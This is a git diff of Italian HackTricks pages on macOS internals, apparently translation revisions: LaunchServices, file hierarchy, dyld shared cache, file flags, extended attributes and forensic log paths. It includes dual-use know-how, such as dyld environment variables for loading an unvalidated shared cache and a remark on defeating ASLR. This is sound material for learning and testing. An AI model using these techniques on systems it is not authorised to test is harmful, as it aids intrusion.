* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
{% endhint %}
## Database dei LaunchServices ## Database dei LaunchServices
Si tratta di un database di tutte le applicazioni installate in macOS che possono essere interrogate per ottenere informazioni su ciascuna applicazione installata, come gli schemi URL supportati e i tipi MIME. Si tratta di un database di tutte le applicazioni installate su macOS che possono essere interrogate per ottenere informazioni su ciascuna applicazione installata, come gli schemi URL supportati e i tipi MIME.
È possibile scaricare questo database con: È possibile scaricare questo database con:
@ -28,7 +29,7 @@ Si tratta di un database di tutte le applicazioni installate in macOS che posson
Oppure utilizzando lo strumento [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html). Oppure utilizzando lo strumento [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html).
**`/usr/libexec/lsd`** è il cervello del database. Fornisce **diversi servizi XPC** come `.lsd.installation`, `.lsd.open`, `.lsd.openurl`, e altri. Ma richiede anche **alcuni entitlement** alle applicazioni per poter utilizzare le funzionalità XPC esposte, come `.launchservices.changedefaulthandler` o `.launchservices.changeurlschemehandler` per cambiare le app predefinite per i tipi di mime o gli schemi di URL e altri. **`/usr/libexec/lsd`** è il cervello del database. Fornisce **diversi servizi XPC** come `.lsd.installation`, `.lsd.open`, `.lsd.openurl`, e altri. Ma richiede anche **alcuni entitlements** alle applicazioni per poter utilizzare le funzionalità XPC esposte, come `.launchservices.changedefaulthandler` o `.launchservices.changeurlschemehandler` per cambiare le app predefinite per i tipi di mime o gli schemi di URL e altri.
**`/System/Library/CoreServices/launchservicesd`** afferma il servizio `com.apple.coreservices.launchservicesd` e può essere interrogato per ottenere informazioni sulle applicazioni in esecuzione. Può essere interrogato con lo strumento di sistema /**`usr/bin/lsappinfo`** o con [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html). **`/System/Library/CoreServices/launchservicesd`** afferma il servizio `com.apple.coreservices.launchservicesd` e può essere interrogato per ottenere informazioni sulle applicazioni in esecuzione. Può essere interrogato con lo strumento di sistema /**`usr/bin/lsappinfo`** o con [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html).
@ -81,16 +82,17 @@ grep -A3 CFBundleTypeExtensions Info.plist | grep string
<string>xbl</string> <string>xbl</string>
<string>svg</string> <string>svg</string>
``` ```
{% hint style="success" %}
Impara e pratica l'hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
{% endhint %}

View file

@ -1,43 +1,44 @@
# macOS File, Cartelle, Binari e Memoria # File, Cartelle, Binari e Memoria di macOS
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Supporta HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
{% endhint %}
## Layout della gerarchia dei file ## Layout della Gerarchia dei File
* **/Applications**: Le app installate dovrebbero essere qui. Tutti gli utenti potranno accedervi. * **/Applications**: Le app installate dovrebbero essere qui. Tutti gli utenti potranno accedervi.
* **/bin**: Binari della riga di comando * **/bin**: Binari della riga di comando
* **/cores**: Se esiste, viene utilizzato per memorizzare i dump core * **/cores**: Se esiste, viene utilizzato per memorizzare i dump core
* **/dev**: Tutto è trattato come un file quindi potresti vedere dispositivi hardware memorizzati qui. * **/dev**: Tutto è trattato come un file quindi potresti vedere dispositivi hardware memorizzati qui.
* **/etc**: File di configurazione * **/etc**: File di configurazione
* **/Library**: Molte sottodirectory e file relativi a preferenze, cache e log possono essere trovati qui. Una cartella Library esiste nella root e in ogni directory dell'utente. * **/Library**: Molti sottodirectory e file relativi a preferenze, cache e log possono essere trovati qui. Una cartella Library esiste nella root e in ogni directory degli utenti.
* **/private**: Non documentato ma molte delle cartelle menzionate sono collegamenti simbolici alla directory private. * **/private**: Non documentato ma molte delle cartelle menzionate sono collegamenti simbolici alla directory private.
* **/sbin**: Binari di sistema essenziali (relativi all'amministrazione) * **/sbin**: Binari di sistema essenziali (relativi all'amministrazione)
* **/System**: File per far funzionare OS X. Dovresti trovare principalmente solo file specifici di Apple qui (non di terze parti). * **/System**: File per far funzionare OS X. Dovresti trovare principalmente solo file specifici di Apple qui (non di terze parti).
* **/tmp**: I file vengono eliminati dopo 3 giorni (è un collegamento simbolico a /private/tmp) * **/tmp**: I file vengono eliminati dopo 3 giorni (è un collegamento simbolico a /private/tmp)
* **/Users**: Directory home degli utenti. * **/Users**: Directory home degli utenti.
* **/usr**: Configurazione e binari di sistema * **/usr**: Configurazioni e binari di sistema
* **/var**: File di log * **/var**: File di log
* **/Volumes**: Le unità montate appariranno qui. * **/Volumes**: Le unità montate appariranno qui.
* **/.vol**: Eseguendo `stat a.txt` otterrai qualcosa come `16777223 7545753 -rw-r--r-- 1 username wheel ...` dove il primo numero è l'id del volume in cui si trova il file e il secondo è il numero di inode. Puoi accedere al contenuto di questo file tramite /.vol/ con queste informazioni eseguendo `cat /.vol/16777223/7545753` * **/.vol**: Eseguendo `stat a.txt` otterrai qualcosa del tipo `16777223 7545753 -rw-r--r-- 1 username wheel ...` dove il primo numero è l'id del volume in cui si trova il file e il secondo è il numero di inode. Puoi accedere al contenuto di questo file tramite /.vol/ con queste informazioni eseguendo `cat /.vol/16777223/7545753`
### Cartelle delle Applicazioni ### Cartelle delle Applicazioni
* Le **applicazioni di sistema** si trovano sotto `/System/Applications` * Le **applicazioni di sistema** si trovano sotto `/System/Applications`
* Le applicazioni **installate** di solito sono installate in `/Applications` o in `~/Applications` * Le applicazioni **installate** di solito sono installate in `/Applications` o in `~/Applications`
* I **dati dell'applicazione** possono essere trovati in `/Library/Application Support` per le applicazioni in esecuzione come root e in `~/Library/Application Support` per le applicazioni in esecuzione come utente. * I **dati dell'applicazione** possono essere trovati in `/Library/Application Support` per le applicazioni in esecuzione come root e `~/Library/Application Support` per le applicazioni in esecuzione come utente.
* I **daemon** delle applicazioni di terze parti che **devono essere eseguiti come root** sono di solito situati in `/Library/PrivilegedHelperTools/` * I **daemon** di applicazioni di terze parti che **devono essere eseguiti come root** sono di solito situati in `/Library/PrivilegedHelperTools/`
* Le app **sandboxed** sono mappate nella cartella `~/Library/Containers`. Ogni app ha una cartella con il nome dell'ID del bundle dell'applicazione (`com.apple.Safari`). * Le app **sandboxed** sono mappate nella cartella `~/Library/Containers`. Ogni app ha una cartella con il nome dell'ID del bundle dell'applicazione (`com.apple.Safari`).
* Il **kernel** si trova in `/System/Library/Kernels/kernel` * Il **kernel** si trova in `/System/Library/Kernels/kernel`
* Le **estensioni del kernel di Apple** si trovano in `/System/Library/Extensions` * Le **estensioni del kernel di Apple** si trovano in `/System/Library/Extensions`
@ -62,7 +63,7 @@ macOS memorizza informazioni come password in diversi luoghi:
* **`.dmg`**: I file immagine disco di Apple sono molto frequenti per gli installatori. * **`.dmg`**: I file immagine disco di Apple sono molto frequenti per gli installatori.
* **`.kext`**: Deve seguire una struttura specifica ed è la versione OS X di un driver. (è un bundle) * **`.kext`**: Deve seguire una struttura specifica ed è la versione OS X di un driver. (è un bundle)
* **`.plist`**: Conosciuto anche come property list memorizza informazioni in formato XML o binario. * **`.plist`**: Conosciuto anche come property list memorizza informazioni in formato XML o binario.
* Può essere XML o binario. Quelli binari possono essere letti con: * Possono essere XML o binari. Quelli binari possono essere letti con:
* `defaults read config.plist` * `defaults read config.plist`
* `/usr/libexec/PlistBuddy -c print config.plsit` * `/usr/libexec/PlistBuddy -c print config.plsit`
* `plutil -p ~/Library/Preferences/com.apple.screensaver.plist` * `plutil -p ~/Library/Preferences/com.apple.screensaver.plist`
@ -70,14 +71,14 @@ macOS memorizza informazioni come password in diversi luoghi:
* `plutil -convert json ~/Library/Preferences/com.apple.screensaver.plist -o -` * `plutil -convert json ~/Library/Preferences/com.apple.screensaver.plist -o -`
* **`.app`**: Applicazioni Apple che seguono la struttura delle directory (è un bundle). * **`.app`**: Applicazioni Apple che seguono la struttura delle directory (è un bundle).
* **`.dylib`**: Librerie dinamiche (come i file DLL di Windows) * **`.dylib`**: Librerie dinamiche (come i file DLL di Windows)
* **`.pkg`**: Sono gli stessi di xar (formato di archivio eXtensible). Il comando installer può essere usato per installare i contenuti di questi file. * **`.pkg`**: Sono uguali a xar (formato di archivio eXtensible). Il comando installer può essere usato per installare i contenuti di questi file.
* **`.DS_Store`**: Questo file è in ogni directory, salva gli attributi e le personalizzazioni della directory. * **`.DS_Store`**: Questo file è in ogni directory, salva gli attributi e le personalizzazioni della directory.
* **`.Spotlight-V100`**: Questa cartella appare nella directory radice di ogni volume del sistema. * **`.Spotlight-V100`**: Questa cartella appare nella directory radice di ogni volume del sistema.
* **`.metadata_never_index`**: Se questo file è nella radice di un volume Spotlight non indizzerà quel volume. * **`.metadata_never_index`**: Se questo file si trova alla radice di un volume, Spotlight non indizzerà quel volume.
* **`.noindex`**: File e cartelle con questa estensione non verranno indicizzati da Spotlight. * **`.noindex`**: I file e le cartelle con questa estensione non verranno indicizzati da Spotlight.
* **`.sdef`**: File all'interno dei bundle che specificano come è possibile interagire con l'applicazione da uno script Apple. * **`.sdef`**: File all'interno dei bundle che specificano come è possibile interagire con l'applicazione da uno script Apple.
### Bundle macOS ### Bundle di macOS
Un bundle è una **directory** che **sembra un oggetto in Finder** (un esempio di Bundle sono i file `*.app`). Un bundle è una **directory** che **sembra un oggetto in Finder** (un esempio di Bundle sono i file `*.app`).
@ -94,7 +95,7 @@ In iOS puoi trovarle in **`/System/Library/Caches/com.apple.dyld/`**.
Analogamente alla cache delle librerie condivise dyld, il kernel e le estensioni del kernel sono anche compilati in una cache del kernel, che viene caricata all'avvio. Analogamente alla cache delle librerie condivise dyld, il kernel e le estensioni del kernel sono anche compilati in una cache del kernel, che viene caricata all'avvio.
Per estrarre le librerie dal file unico della cache delle librerie dylib condivise era possibile utilizzare il binario [dyld\_shared\_cache\_util](https://www.mbsplugins.de/files/dyld\_shared\_cache\_util-dyld-733.8.zip) che potrebbe non funzionare al giorno d'oggi ma puoi anche usare [**dyldextractor**](https://github.com/arandomdev/dyldextractor): Per estrarre le librerie dal file unico della cache delle librerie condivise dylib era possibile utilizzare il binario [dyld\_shared\_cache\_util](https://www.mbsplugins.de/files/dyld\_shared\_cache\_util-dyld-733.8.zip) che potrebbe non funzionare al giorno d'oggi ma puoi anche usare [**dyldextractor**](https://github.com/arandomdev/dyldextractor):
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
@ -114,10 +115,10 @@ Nota che anche se lo strumento `dyld_shared_cache_util` non funziona, puoi passa
<figure><img src="../../../.gitbook/assets/image (1152).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1152).png" alt="" width="563"><figcaption></figcaption></figure>
Alcuni estrattori potrebbero non funzionare poiché le dylib sono prelinkate con indirizzi codificati rigidamente e potrebbero saltare a indirizzi sconosciuti Alcuni estrattori potrebbero non funzionare poiché le dylib sono precollegate con indirizzi codificati rigidamente e potrebbero quindi saltare a indirizzi sconosciuti
{% hint style="success" %} {% hint style="success" %}
È anche possibile scaricare la Cache delle Librerie Condivise di altri dispositivi \*OS in macOS utilizzando un emulatore in Xcode. Saranno scaricati all'interno di: ls `$HOME/Library/Developer/Xcode/<*>OS\ DeviceSupport/<version>/Symbols/System/Library/Caches/com.apple.dyld/`, come ad esempio: `$HOME/Library/Developer/Xcode/iOS\ DeviceSupport/14.1\ (18A8395)/Symbols/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64` È anche possibile scaricare la Cache delle Librerie Condivise di altri dispositivi \*OS su macOS utilizzando un emulatore in Xcode. Saranno scaricati all'interno di: ls `$HOME/Library/Developer/Xcode/<*>OS\ DeviceSupport/<version>/Symbols/System/Library/Caches/com.apple.dyld/`, come ad esempio: `$HOME/Library/Developer/Xcode/iOS\ DeviceSupport/14.1\ (18A8395)/Symbols/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64`
{% endhint %} {% endhint %}
### Mappatura SLC ### Mappatura SLC
@ -126,22 +127,22 @@ Alcuni estrattori potrebbero non funzionare poiché le dylib sono prelinkate con
Nota che anche se la SLC viene slittata al primo utilizzo, tutti i **processi** utilizzano la **stessa copia**, il che **elimina la protezione ASLR** se l'attaccante fosse in grado di eseguire processi nel sistema. Questo è stato effettivamente sfruttato in passato e risolto con il pager della regione condivisa. Nota che anche se la SLC viene slittata al primo utilizzo, tutti i **processi** utilizzano la **stessa copia**, il che **elimina la protezione ASLR** se l'attaccante fosse in grado di eseguire processi nel sistema. Questo è stato effettivamente sfruttato in passato e risolto con il pager della regione condivisa.
I branch pool sono piccole Mach-O dylib che creano piccoli spazi tra i mapping delle immagini rendendo impossibile interporre le funzioni. I branch pool sono piccole dylib Mach-O che creano piccoli spazi tra i mapping delle immagini rendendo impossibile interporre le funzioni.
### Sovrascrittura SLC ### Sovrascrittura SLC
Utilizzando le variabili di ambiente: Utilizzando le variabili di ambiente:
* **`DYLD_DHARED_REGION=private DYLD_SHARED_CACHE_DIR=</path/dir> DYLD_SHARED_CACHE_DONT_VALIDATE=1`** -> Questo permetterà di caricare una nuova cache di librerie condivise * **`DYLD_DHARED_REGION=private DYLD_SHARED_CACHE_DIR=</path/dir> DYLD_SHARED_CACHE_DONT_VALIDATE=1`** -> Questo permetterà di caricare una nuova cache di librerie condivise
* **`DYLD_SHARED_CACHE_DIR=avoid`** e sostituire manualmente le librerie con symlink alla cache con le vere (dovrai estrarle) * **`DYLD_SHARED_CACHE_DIR=avoid`** e sostituire manualmente le librerie con symlink alla cache con quelle reali (dovrai estrarle)
## Autorizzazioni Speciali dei File ## Autorizzazioni Speciali dei File
### Autorizzazioni delle cartelle ### Autorizzazioni delle Cartelle
In una **cartella**, **read** permette di **elencarla**, **write** permette di **eliminare** e **scrivere** file al suo interno, ed **execute** permette di **attraversare** la directory. Quindi, ad esempio, un utente con **permesso di lettura su un file** all'interno di una directory dove non ha il permesso di **esecuzione non potrà leggere** il file. In una **cartella**, **read** permette di **elencarla**, **write** permette di **eliminare** e **scrivere** file al suo interno, ed **execute** permette di **attraversare** la directory. Quindi, ad esempio, un utente con **permesso di lettura su un file** all'interno di una directory dove non ha il permesso di **esecuzione non potrà leggere** il file.
### Modificatori di flag ### Modificatori di Flag
Ci sono alcuni flag che possono essere impostati nei file che faranno comportare il file in modo diverso. Puoi **controllare i flag** dei file all'interno di una directory con `ls -lO /percorso/directory` Ci sono alcuni flag che possono essere impostati nei file che faranno comportare il file in modo diverso. Puoi **controllare i flag** dei file all'interno di una directory con `ls -lO /percorso/directory`
@ -159,15 +160,15 @@ Tutti i flag possono essere trovati nel file `sys/stat.h` (trovalo usando `mdfin
* `UF_OPAQUE` 0x00000008: La directory è opaca rispetto all'unione. * `UF_OPAQUE` 0x00000008: La directory è opaca rispetto all'unione.
* `UF_COMPRESSED` 0x00000020: Il file è compresso (alcuni file-system). * `UF_COMPRESSED` 0x00000020: Il file è compresso (alcuni file-system).
* `UF_TRACKED` 0x00000040: Nessuna notifica per eliminazioni/ridenominazioni per i file con questo set. * `UF_TRACKED` 0x00000040: Nessuna notifica per eliminazioni/ridenominazioni per i file con questo set.
* `UF_DATAVAULT` 0x00000080: Autorizzazione richiesta per la lettura e la scrittura. * `UF_DATAVAULT` 0x00000080: Richiesta di autorizzazione per la lettura e la scrittura.
* `UF_HIDDEN` 0x00008000: Suggerimento che questo elemento non dovrebbe essere visualizzato in una GUI. * `UF_HIDDEN` 0x00008000: Suggerimento che questo elemento non dovrebbe essere visualizzato in un'interfaccia grafica.
* `SF_SUPPORTED` 0x009f0000: Maschera dei flag supportati dal superutente. * `SF_SUPPORTED` 0x009f0000: Maschera dei flag supportati dal superutente.
* `SF_SETTABLE` 0x3fff0000: Maschera dei flag modificabili dal superutente. * `SF_SETTABLE` 0x3fff0000: Maschera dei flag modificabili dal superutente.
* `SF_SYNTHETIC` 0xc0000000: Maschera dei flag sintetici di sola lettura del sistema. * `SF_SYNTHETIC` 0xc0000000: Maschera dei flag sintetici di sola lettura del sistema.
* `SF_ARCHIVED` 0x00010000: Il file è archiviato. * `SF_ARCHIVED` 0x00010000: Il file è archiviato.
* `SF_IMMUTABLE` 0x00020000: Il file non può essere modificato. * `SF_IMMUTABLE` 0x00020000: Il file non può essere modificato.
* `SF_APPEND` 0x00040000: Le scritture nel file possono solo essere aggiunte. * `SF_APPEND` 0x00040000: Le scritture nel file possono solo essere aggiunte.
* `SF_RESTRICTED` 0x00080000: Autorizzazione richiesta per la scrittura. * `SF_RESTRICTED` 0x00080000: Richiesta di autorizzazione per la scrittura.
* `SF_NOUNLINK` 0x00100000: L'elemento non può essere rimosso, rinominato o montato. * `SF_NOUNLINK` 0x00100000: L'elemento non può essere rimosso, rinominato o montato.
* `SF_FIRMLINK` 0x00800000: Il file è un firmlink. * `SF_FIRMLINK` 0x00800000: Il file è un firmlink.
* `SF_DATALESS` 0x40000000: Il file è un oggetto senza dati. * `SF_DATALESS` 0x40000000: Il file è un oggetto senza dati.
@ -202,9 +203,9 @@ Gli attributi estesi hanno un nome e un valore desiderato, e possono essere visu
- `com.apple.quarantine`: MacOS: meccanismo di quarantena di Gatekeeper (III/6) - `com.apple.quarantine`: MacOS: meccanismo di quarantena di Gatekeeper (III/6)
- `metadata:*`: MacOS: vari metadati, come `_backup_excludeItem`, o `kMD*` - `metadata:*`: MacOS: vari metadati, come `_backup_excludeItem`, o `kMD*`
- `com.apple.lastuseddate` (#PS): Data dell'ultimo utilizzo del file - `com.apple.lastuseddate` (#PS): Data dell'ultimo utilizzo del file
- `com.apple.FinderInfo`: MacOS: informazioni del Finder (ad es., Tag di colore) - `com.apple.FinderInfo`: MacOS: informazioni del Finder (ad es., etichette di colore)
- `com.apple.TextEncoding`: Specifica la codifica del testo dei file di testo ASCII - `com.apple.TextEncoding`: Specifica la codifica del testo dei file di testo ASCII
- `com.apple.logd.metadata`: Utilizzato da logd sui file in `/var/db/diagnostics` - `com.apple.logd.metadata`: Utilizzato da logd su file in `/var/db/diagnostics`
- `com.apple.genstore.*`: Archiviazione generazionale (`/.DocumentRevisions-V100` nella radice del filesystem) - `com.apple.genstore.*`: Archiviazione generazionale (`/.DocumentRevisions-V100` nella radice del filesystem)
- `com.apple.rootless`: MacOS: Utilizzato da System Integrity Protection per etichettare il file (III/10) - `com.apple.rootless`: MacOS: Utilizzato da System Integrity Protection per etichettare il file (III/10)
- `com.apple.uuidb.boot-uuid`: Marcature di logd degli epoche di avvio con UUID univoci - `com.apple.uuidb.boot-uuid`: Marcature di logd degli epoche di avvio con UUID univoci
@ -237,7 +238,7 @@ find / -type f -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf
L'attributo esteso `com.apple.decmpfs` indica che il file è memorizzato criptato, `ls -l` riporterà una **dimensione di 0** e i dati compressi sono all'interno di questo attributo. Ogni volta che il file viene accesso, verrà decriptato in memoria. L'attributo esteso `com.apple.decmpfs` indica che il file è memorizzato criptato, `ls -l` riporterà una **dimensione di 0** e i dati compressi sono all'interno di questo attributo. Ogni volta che il file viene accesso, verrà decriptato in memoria.
Questo attributo può essere visto con `ls -lO` indicato come compresso perché i file compressi sono contrassegnati anche con il flag `UF_COMPRESSED`. Se un file compresso viene rimosso, questo flag con `chflags nocompressed </percorso/al/file>`, il sistema non saprà che il file era compresso e quindi non sarà in grado di decomprimere e accedere ai dati (penserà che sia effettivamente vuoto). Questo attributo può essere visto con `ls -lO` indicato come compresso perché i file compressi sono contrassegnati anche con il flag `UF_COMPRESSED`. Se un file compresso viene rimosso con questo flag `chflags nocompressed </percorso/al/file>`, il sistema non saprà che il file era compresso e quindi non sarà in grado di decomprimere e accedere ai dati (penserà che in realtà sia vuoto).
Lo strumento afscexpand può essere utilizzato per forzare la decompressione di un file. Lo strumento afscexpand può essere utilizzato per forzare la decompressione di un file.
@ -249,7 +250,7 @@ Di solito i binari di Mac OS sono compilati come **universal binaries**. Un **un
[universal-binaries-and-mach-o-format.md](universal-binaries-and-mach-o-format.md) [universal-binaries-and-mach-o-format.md](universal-binaries-and-mach-o-format.md)
{% endcontent-ref %} {% endcontent-ref %}
## Memoria dei processi macOS ## Memoria del processo macOS
## Dumping della memoria macOS ## Dumping della memoria macOS
@ -269,10 +270,25 @@ La directory `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/S
## File di log ## File di log
* **`$HOME/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**: Contiene informazioni sui file scaricati, come l'URL da cui sono stati scaricati. * **`$HOME/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**: Contiene informazioni sui file scaricati, come l'URL da cui sono stati scaricati.
* **`/var/log/system.log`**: Log principale dei sistemi OSX. com.apple.syslogd.plist è responsabile dell'esecuzione del logging di sistema (puoi verificare se è disabilitato cercando "com.apple.syslogd" in `launchctl list`. * **`/var/log/system.log`**: Log principale dei sistemi OSX. com.apple.syslogd.plist è responsabile dell'esecuzione del syslog (puoi verificare se è disabilitato cercando "com.apple.syslogd" in `launchctl list`.
* **`/private/var/log/asl/*.asl`**: Questi sono i Log di Sistema Apple che potrebbero contenere informazioni interessanti. * **`/private/var/log/asl/*.asl`**: Questi sono i log di sistema Apple che possono contenere informazioni interessanti.
* **`$HOME/Library/Preferences/com.apple.recentitems.plist`**: Memorizza i file e le applicazioni recentemente accessi tramite "Finder". * **`$HOME/Library/Preferences/com.apple.recentitems.plist`**: Memorizza i file e le applicazioni recentemente accessi tramite "Finder".
* **`$HOME/Library/Preferences/com.apple.loginitems.plsit`**: Memorizza gli elementi da avviare all'avvio del sistema. * **`$HOME/Library/Preferences/com.apple.loginitems.plsit`**: Memorizza gli elementi da avviare all'avvio del sistema.
* **`$HOME/Library/Logs/DiskUtility.log`**: File di log per l'applicazione DiskUtility (informazioni su drive, inclusi USB) * **`$HOME/Library/Logs/DiskUtility.log`**: File di log per l'app DiskUtility (informazioni su drive, inclusi USB)
* **`/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist`**: Dati sugli access point wireless. * **`/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist`**: Dati sugli access point wireless.
* **`/private/var/db/launchd.db/com.apple.launchd/overrides.plist`**: Elenco dei daemon disattivati. * **`/private/var/db/launchd.db/com.apple.launchd/overrides.plist`**: Elenco dei demoni disattivati.
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Supporta HackTricks</summary>
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di github.
</details>
{% endhint %}

View file

@ -1,22 +1,23 @@
# Bundle macOS # Bundle macOS
{% hint style="success" %}
Impara e pratica l'hacking di AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'hacking di GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di GitHub.
